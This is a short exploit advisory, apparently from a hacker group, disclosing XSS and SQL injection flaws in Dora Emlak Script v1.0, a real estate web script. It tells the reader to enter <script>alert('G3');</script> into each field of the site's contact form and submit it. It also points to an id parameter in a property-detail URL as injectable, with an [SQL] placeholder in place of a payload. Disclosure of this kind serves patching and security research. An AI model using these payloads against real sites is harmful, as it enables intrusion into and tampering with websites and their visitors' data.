Dora Emlak Script v1.0 XSS & sql injection Vulnerability.

#Software: Dora Emlak Script v1.0
#download: http://www.aspindir.com/goster/5027
#demo: http://www.fatihkaratas.info/dora/
#Found By: GeFORC3 ( G3 )

#Exploit:

1-http://www.example.com/dora/default.asp?goster=iletisim

You write xss code in  page's text box

Adýnýz   <script>alert("G3");</script>
Soyadýnýz  <script>alert("G3");</script>
Mail Adresiniz   <script>alert("G3");</script>
Konu     <script>alert("G3");</script>
Mesajýnýz   <script>alert("G3");</script>

Press to "gönder"(send) button.

This xss works on Dora Emlak Script v1.0

+

http://www.example.com//dora/default.asp?goster=emlakdetay&id= [SQL]


WwW.GeFORC3.Org  |  WwW.HeykirBlog.Com  |  WwW.NetKaBus.Com